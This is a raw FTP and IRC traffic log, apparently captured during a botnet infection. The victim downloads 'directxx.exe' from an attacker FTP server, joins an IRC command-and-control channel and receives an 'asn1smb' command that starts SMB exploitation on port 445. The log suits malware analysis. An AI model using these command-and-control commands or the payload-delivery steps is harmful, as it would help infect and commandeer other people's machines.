ATTACKER:	220 NzmxFtpd 0wns j0 
VICTIM:  	USER 1 
ATTACKER:	331 Password required 
VICTIM:  	PASS 1 
ATTACKER:	230 User logged in. 
VICTIM:  	PORT 192,168,1,172,4 
ATTACKER:	200 PORT command successful. 
ATTACKER:	RETR directxx.exe 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete. 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye happy r00ting. 
VICTIM:  	NICK USA|00|XP|SP0|L|619296USER tpszef 0 0 :USA|00|XP|SP0|L|619296 
ATTACKER:	:irc2.kid.de NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc2.kid.de 001 USA|00|XP|SP0|L|619296 :Welcome to the cyberkid IRC Network USA|00|XP|SP0|L|619296!tpszef@192.168.1.172:irc2.kid.de 002 USA|00|XP|SP0|L|619296 :Your host is irc2.kid.de, running version Unreal3.2.4:irc2.kid.de 003 USA|00|XP|SP0|L|619296 :This server was created Fri Apr 11 2008 at 04:57:01 CEST:irc2.kid.de 004 USA|00|XP|SP0|L|619296 irc2.kid.de Unreal3.2.4 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc2.kid.de 005 USA|00|XP|SP0|L|619296 CMDS=KNOCK,MAP,DCCALLOW,USERIP SAFELIST HCN MAXCHANNELS=50 CHANLIMIT=#:50 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server:irc2.kid.de 005 USA|00|XP|SP0|L|619296 WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=cyberkid CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server:irc2.kid.de 251 USA|00|XP|SP0|L|619296 :There are 684 users and 30 invisible on 6 servers:irc2.kid.de 252 USA|00|XP|SP0|L|619296 13 :operator(s) online:irc2.kid.de 254 USA|00|XP|SP0|L|619296 10 :channels formed:irc2.kid.de 255 USA|00|XP|SP0|L|619296 :I have 8 clients and 1 servers:irc2.kid.de 265 USA|00|XP|SP0|L|619296 :Current Local Users: 8  Max: 1564:irc2.kid.de 266 USA|00|XP|SP0|L|619296 :Current Global Users: 714  Max: 2463:irc2.kid.de 375 USA|00|XP|SP0|L|619296 :- ir 
ATTACKER:	c2.kid.de Message of the Day - :irc2.kid.de 372 USA|00|XP|SP0|L|619296 :- 11/4/2008 4:38:irc2.kid.de 372 USA|00|XP|SP0|L|619296 :- kid:irc2.kid.de 376 USA|00|XP|SP0|L|619296 :End of /MOTD command.:USA|00|XP|SP0|L|619296 MODE USA|00|XP|SP0|L|619296 :+iwx 
VICTIM:  	USERHOST USA|00|XP|SP0|L|619296 
ATTACKER:	:irc2.kid.de 302 USA|00|XP|SP0|L|619296 :USA|00|XP|SP0|L|619296=+tpszef@192.168.1.172     
VICTIM:  	MODE USA|00|XP|SP0|L|619296 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|619296MODE USA|00|XP|SP0|L|619296 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|619296MODE USA|00|XP|SP0|L|619296 -xt+iBJOIN ##FigaX## s33R09 
ATTACKER:	:irc2.kid.de NOTICE USA|00|XP|SP0|L|619296 :BOTMOTD File not found:USA|00|XP|SP0|L|619296 MODE USA|00|XP|SP0|L|619296 :-x+B:USA|00|XP|SP0|L|619296!tpszef@192.168.1.172 JOIN :##FigaX##:irc2.kid.de 332 USA|00|XP|SP0|L|619296 ##FigaX## :.start asn1smb 30 5 0 x.x.x.x:irc2.kid.de 333 USA|00|XP|SP0|L|619296 ##FigaX## AnGel 1211495956:irc2.kid.de 353 USA|00|XP|SP0|L|619296 @ ##FigaX## :USA|00|XP|SP0|L|619296 @matrix @wizard ~AnGel @mc :irc2.kid.de 366 USA|00|XP|SP0|L|619296 ##FigaX## :End of /NAMES list.:irc2.kid.de 302 USA|00|XP|SP0|L|619296 :USA|00|XP|SP0|L|619296=+tpszef@192.168.1.172    :irc2.kid.de 302 USA|00|XP|SP0|L|619296 :USA|00|XP|SP0|L|619296=+tpszef@192.168.1.172     
VICTIM:  	PRIVMSG ##FigaX## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002  Random Exploitation started on x.x.x.x:445 waiting 5 seconds for 0 minutes using 30 threads.